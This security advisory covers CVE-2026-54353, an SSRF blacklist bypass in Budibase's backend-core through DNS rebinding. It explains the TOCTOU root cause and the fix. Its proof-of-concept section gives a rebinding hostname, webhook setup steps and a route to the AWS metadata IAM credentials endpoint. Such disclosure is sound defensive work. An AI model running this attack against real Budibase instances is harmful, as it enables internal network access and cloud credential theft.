CVE-2026-54353: @budibase/backend-core SSRF DNS Rebinding Bypass
Authenticated Budibase users can trick the SSRF blacklist into approving a request that actually connects to an internal host, by using a DNS rebinding hostname that returns a public IP during validat
The problem
The `outboundFetch.ts` helper validates a URL's hostname against an IP blacklist before calling `node-fetch`, but the two steps resolve DNS independently. `isBlacklisted` discards the IPs it looked up and returns only a boolean, so nothing pins the validated address to the socket that `node-fetch` opens.
An attacker who controls a hostname's authoritative DNS can serve a public IP on the first query (which passes the check) and a private IP on the second (which node-fetch uses for the real connection). The same pattern exists in `packages/server/src/automations/steps/utils.ts`.
Because several automation steps (Outgoing Webhook, Slack, Discord, n8n, AI extract, and others) echo the upstream response body directly into automation output, the SSRF is non-blind.
Proof of concept
# 1. Start a local listener on the Budibase host
python3 -m http.server 8080 --bind 127.0.0.1
# 2. The rbndr.us hostname below rotates between:
# 127.0.0.1 (hex: 7f000001) -- private, returned on 2nd lookup
# 203.0.113.100 (hex: cb007264) -- public, returned on 1st lookup (validation)
#
# Format: <private-ip-hex>.<public-ip-hex>.rbndr.us
REBIND_HOST="7f000001.cb007264.rbndr.us"
# 3. In Budibase: create an automation, add an Outgoing Webhook step,
# set the URL to:
# http://7f000001.cb007264.rbndr.us:8080/
#
# Trigger the automation.
#
# Expected result:
# - throwIfUnsafe() resolves the hostname -> 203.0.113.100 -> passes blacklist
# - node-fetch resolves again -> 127.0.0.1
# - TCP connection lands on 127.0.0.1:8080
# - python http.server response body appears in automation output
# To reach the AWS metadata endpoint instead, use a hostname whose
# second lookup resolves to 169.254.169.254 and target:
# http://<rebind-host>/latest/meta-data/iam/security-credentials/<role>The root cause is CWE-367 (TOCTOU Race Condition) combined with CWE-918 (SSRF). `isBlacklisted` resolves the hostname and checks the IPs, but returns only a boolean. The caller in `throwIfUnsafe` has no resolved IPs to pass to `node-fetch`, so `node-fetch` issues its own independent `dns.lookup` when opening the socket.
DNS rebinding exploits the gap between those two lookups. With a TTL of 1 second and an authoritative server that alternates answers, the attacker can reliably make the first lookup return a public IP and the second return a private one.
The fix replaces the plain `node-fetch` call with a custom `http.Agent`/`https.Agent` that resolves DNS once, validates the resulting IP against the blacklist, and then dials that same IP directly, closing the TOCTOU window entirely.
The fix
Upgrade `@budibase/backend-core` to 3.39.9 or later. The patch introduces a custom dialing agent that pins the DNS-resolved IP to the socket connection, ensuring the address validated by `isBlacklisted` is the same one the TCP connection uses. As a defense-in-depth measure, restrict outbound network access from the Budibase host at the firewall level to block connections to RFC1918 ranges, loopback, and 169.254.0.0/16.